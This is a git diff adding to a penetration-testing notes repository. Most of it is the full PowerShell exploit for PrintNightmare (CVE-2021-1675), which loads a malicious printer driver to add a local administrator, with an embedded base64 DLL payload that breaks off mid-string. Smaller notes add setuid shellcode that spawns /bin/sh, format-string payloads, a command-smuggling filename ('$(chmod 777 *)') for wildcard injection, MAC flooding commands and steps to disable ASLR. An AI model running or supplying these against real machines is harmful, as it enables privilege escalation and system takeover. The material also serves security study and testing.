diff --git a/exploit/binaries/aslr.md b/exploit/binaries/aslr.md new file mode 100644 index 0000000..5dbc86e --- /dev/null +++ b/exploit/binaries/aslr.md @@ -0,0 +1,15 @@ +# ASLR + +## System Status + +* `0`, No randomization +* `1`, Conservative, `*.so`, stack, `mmap`, VDSO and heap +* `2`, full randomization + +## Disable + +```sh +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +``` + + diff --git a/exploit/binaries/buffer_overflow/docs/shellcodes/setuid_shell.as b/exploit/binaries/buffer_overflow/docs/shellcodes/setuid_shell.as index 70387ca..94cae5a 100644 --- a/exploit/binaries/buffer_overflow/docs/shellcodes/setuid_shell.as +++ b/exploit/binaries/buffer_overflow/docs/shellcodes/setuid_shell.as @@ -1,27 +1,28 @@ -etuid(0) + execve(/bin/sh) - just 4 fun. -xi4oyu [at] 80sec.com +//setuid(0) + execve(/bin/sh) - just 4 fun. +//xi4oyu [at] 80sec.com +/* main(){ -__asm( "xorq %rdi,%rdi\n\t" - "mov $0x69,%al\n\t" - "syscall \n\t" - "xorq %rdx, %rdx \n\t" - "movq $0x68732f6e69622fff,%rbx; \n\t" - "shr $0x8, %rbx; \n\t" - "push %rbx; \n\t" - "movq %rsp,%rdi; \n\t" - "xorq %rax,%rax; \n\t" - "pushq %rax; \n\t" - "pushq %rdi; \n\t" - "movq %rsp,%rsi; \n\t" - "mov $0x3b,%al; \n\t" - "syscall ; \n\t" - "pushq $0x1 ; \n\t" - "pop %rdi ; \n\t" - "pushq $0x3c ; \n\t" - "pop %rax ; \n\t" - "syscall ; \n\t" -); + __asm( "xorq %rdi,%rdi\n\t" + "mov $0x69,%al\n\t" + "syscall \n\t" + "xorq %rdx, %rdx \n\t" + "movq $0x68732f6e69622fff,%rbx; \n\t" + "shr $0x8, %rbx; \n\t" + "push %rbx; \n\t" + "movq %rsp,%rdi; \n\t" + "xorq %rax,%rax; \n\t" + "pushq %rax; \n\t" + "pushq %rdi; \n\t" + "movq %rsp,%rsi; \n\t" + "mov $0x3b,%al; \n\t" + "syscall ; \n\t" + "pushq $0x1 ; \n\t" + "pop %rdi ; \n\t" + "pushq $0x3c ; \n\t" + "pop %rax ; \n\t" + "syscall ; \n\t" + ); } */ main() { @@ -33,5 +34,5 @@ main() { (*(void (*)()) shellcode)(); } -2009-05-14 -evil.xi4oyu +//2009-05-14 +//evil.xi4oyu diff --git a/exploit/binaries/format_string/format_string.md b/exploit/binaries/format_string/format_string.md new file mode 100644 index 0000000..888a934 --- /dev/null +++ b/exploit/binaries/format_string/format_string.md @@ -0,0 +1,29 @@ +# Format String + +* Read and write values from stack + +## Read + +* Input `%x` for every value that should be read from the stack +```sh +%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x +``` +* Select values as string, e.g. the second value +```sh +%2$s +``` +* Another way of reading is via `%p` + +* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one +```python +from pwn import * + +#p = process('./vuln') +p = remote(target_ip, 9006) + +payload = b'%14$p||||' +payload += p32(0x8048000) + +p.sendline(payload) +log.info(p.clean()) +``` diff --git a/exploit/binaries/integral_promotion/integral_promotion.md b/exploit/binaries/integral_promotion/integral_promotion.md new file mode 100644 index 0000000..abb579b --- /dev/null +++ b/exploit/binaries/integral_promotion/integral_promotion.md @@ -0,0 +1,42 @@ +# Integral Promotion + +* Conditions of data types with different max and min values provoke unforseen comparisions +* Comparing `int` and `uint` with values above max leads to integral promotion + +* Check data type min and max +```c +#include +#include + +int main(void) +{ + + printf("CHAR_MAX: %i\n", CHAR_MAX); + printf("UCHAR_MAX: %i\n", UCHAR_MAX); + + printf("SHORT_MAX: %i\n", SHRT_MAX); + printf("USHORT_MAX: %i\n", USHRT_MAX); + + printf("INT_MAX: %i\n", INT_MAX); + printf("UINT_MAX: %u\n", UINT_MAX); + + return 0; +} +``` + +* Not only conditions are susceptable to integral promotions, a sum - for example - is too. Values for promotion in this example are `2147483647` and `1`. `c` is negative and leads to the shell +```c + int a,b,c; + + + if(a >=0 && b >=0) + if(c >= 0){ + printf("\n[*] ADDING %d + %d",a,b); + printf("\n[*] RESULT: %d\n",c); + } + else{ + system("/bin/sh"); + } + else + printf("nope"); +``` diff --git a/exploit/binaries/ret2libc.md b/exploit/binaries/ret2libc.md index e4f9de7..1de7011 100644 --- a/exploit/binaries/ret2libc.md +++ b/exploit/binaries/ret2libc.md @@ -19,6 +19,11 @@ ## libc -- Finding Offsets +* Find libc address at runtime via gbd +```sh +info sharedlibrary +``` + ### Manually * On target find `sh` address inside libc ```sh diff --git a/exploit/network/mac_spoofing.md b/exploit/network/mac_spoofing.md new file mode 100644 index 0000000..cedbee5 --- /dev/null +++ b/exploit/network/mac_spoofing.md @@ -0,0 +1,9 @@ +# MAC Spoofing + +```sh +macof -i +``` +or +```sh +ettercap -T -i -P rand_flood -q -w file.pcap +``` diff --git a/exploit/wildard_exploitation.md b/exploit/wildard_exploitation.md index 319f2ad..d48d004 100644 --- a/exploit/wildard_exploitation.md +++ b/exploit/wildard_exploitation.md @@ -17,3 +17,10 @@ touch "/var/www/html/--checkpoint-action=exec=sh shell.sh" touch "/var/www/html/--checkpoint=1" ``` +## touched Filename Options + +* Give full permissions on all the files +```sh +touch './"";$(chmod 777 *)' +``` + diff --git a/exploit/windows/CVE-2021-1675 b/exploit/windows/CVE-2021-1675 deleted file mode 160000 index ed724e5..0000000 --- a/exploit/windows/CVE-2021-1675 +++ /dev/null @@ -1 +0,0 @@ -Subproject commit ed724e576adb377b9c5b91f4343012108307fff9 diff --git a/exploit/windows/PrintNightmare b/exploit/windows/PrintNightmare deleted file mode 160000 index 5ca891c..0000000 --- a/exploit/windows/PrintNightmare +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5ca891c64d7dcd785730c8e6dec87476b786012c diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/CVE-2021-1675.ps1 b/exploit/windows/print_nightmare/CVE-2021-1675/CVE-2021-1675.ps1 new file mode 100644 index 0000000..106ddf5 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/CVE-2021-1675.ps1 @@ -0,0 +1,798 @@ +function Invoke-Nightmare +{ + <# + .SYNOPSIS + Exploits CVE-2021-1675 (PrintNightmare) + + Authors: + Caleb Stewart - https://github.com/calebstewart + John Hammond - https://github.com/JohnHammond + URL: https://github.com/calebstewart/CVE-2021-1675 + + .DESCRIPTION + Exploits CVE-2021-1675 (PrintNightmare) locally to add a new local administrator + user with a known password. Optionally, this can be used to execute your own + custom DLL to execute any other code as NT AUTHORITY\SYSTEM. + + .PARAMETER DriverName + The name of the new printer driver to add (default: "Totally Not Malicious") + + .PARAMETER NewUser + The name of the new user to create when using the default DLL (default: "adm1n") + + .PARAMETER NewPassword + The password for the new user when using the default DLL (default: "P@ssw0rd") + + .PARAMETER DLL + The DLL to execute when loading the printer driver (default: a builtin payload which + creates the specified user, and adds the new user to the local administrators group). + + .EXAMPLE + > Invoke-Nightmare + Adds a new local user named `adm1n` which is a member of the local admins group + + .EXAMPLE + > Invoke-Nightmare -NewUser "caleb" -NewPassword "password" -DriverName "driver" + Adds a new local user named `caleb` using a printer driver named `driver` + + .EXAMPLE + > Invoke-Nightmare -DLL C:\path\to\ + + #> + param ( + [string]$DriverName = "Totally Not Malicious", + [string]$NewUser = "", + [string]$NewPassword = "", + [string]$DLL = "" + ) + + if ( $DLL -eq "" ){ + $nightmare_data = [byte[]](get_nightmare_dll) + $encoder = New-Object System.Text.UnicodeEncoding + + if ( $NewUser -ne "" ) { + $NewUserBytes = $encoder.GetBytes($NewUser) + [System.Buffer]::BlockCopy($NewUserBytes, 0, $nightmare_data, 0x32e20, $NewUserBytes.Length) + $nightmare_data[0x32e20+$NewUserBytes.Length] = 0 + $nightmare_data[0x32e20+$NewUserBytes.Length+1] = 0 + } else { + Write-Host "[+] using default new user: adm1n" + } + + if ( $NewPassword -ne "" ) { + $NewPasswordBytes = $encoder.GetBytes($NewPassword) + [System.Buffer]::BlockCopy($NewPasswordBytes, 0, $nightmare_data, 0x32c20, $NewPasswordBytes.Length) + $nightmare_data[0x32c20+$NewPasswordBytes.Length] = 0 + $nightmare_data[0x32c20+$NewPasswordBytes.Length+1] = 0 + } else { + Write-Host "[+] using default new password: P@ssw0rd" + } + + $DLL = [System.IO.Path]::GetTempPath() + "nightmare.dll" + [System.IO.File]::WriteAllBytes($DLL, $nightmare_data) + Write-Host "[+] created payload at $DLL" + $delete_me = $true + } else { + Write-Host "[+] using user-supplied payload at $DLL" + Write-Host "[!] ignoring NewUser and NewPassword arguments" + $delete_me = $false + } + + $Mod = New-InMemoryModule -ModuleName "A$(Get-Random)" + + $FunctionDefinitions = @( + (func winspool.drv AddPrinterDriverEx ([bool]) @([string], [Uint32], [IntPtr], [Uint32]) -Charset Auto -SetLastError), + (func winspool.drv EnumPrinterDrivers([bool]) @( [string], [string], [Uint32], [IntPtr], [UInt32], [Uint32].MakeByRefType(), [Uint32].MakeByRefType()) -Charset Auto -SetLastError) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Mod' + + # Define custom structures for types created + $DRIVER_INFO_2 = struct $Mod DRIVER_INFO_2 @{ + cVersion = field 0 Uint64; + pName = field 1 string -MarshalAs @("LPTStr"); + pEnvironment = field 2 string -MarshalAs @("LPTStr"); + pDriverPath = field 3 string -MarshalAs @("LPTStr"); + pDataFile = field 4 string -MarshalAs @("LPTStr"); + pConfigFile = field 5 string -MarshalAs @("LPTStr"); + } + + $winspool = $Types['winspool.drv'] + $APD_COPY_ALL_FILES = 0x00000004 + + [Uint32]($cbNeeded) = 0 + [Uint32]($cReturned) = 0 + + if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, [IntPtr]::Zero, 0, [ref]$cbNeeded, [ref]$cReturned) ){ + Write-Host "[!] EnumPrinterDrivers should fail!" + return + } + + [IntPtr]$pAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([Uint32]($cbNeeded)) + + if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){ + $driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2) + } else { + Write-Host "[!] failed to get current driver list" + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr) + return + } + + Write-Host "[+] using pDriverPath = `"$($driver.pDriverPath)`"" + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr) + + $driver_info = New-Object $DRIVER_INFO_2 + $driver_info.cVersion = 3 + $driver_info.pConfigFile = $DLL + $driver_info.pDataFile = $DLL + $driver_info.pDriverPath = $driver.pDriverPath + $driver_info.pEnvironment = "Windows x64" + $driver_info.pName = $DriverName + + $pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false) + + if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) { + if ( $delete_me ) { + Write-Host "[+] added user $NewUser as local administrator" + } else { + Write-Host "[+] driver appears to have been loaded!" + } + } else { + Write-Error "[!] AddPrinterDriverEx failed" + } + + if ( $delete_me ) { + Write-Host "[+] deleting payload from $DLL" + Remove-Item -Force $DLL + } +} + +function get_nightmare_dll +{ + $nightmare_data = [System.Convert]::FromBase64String("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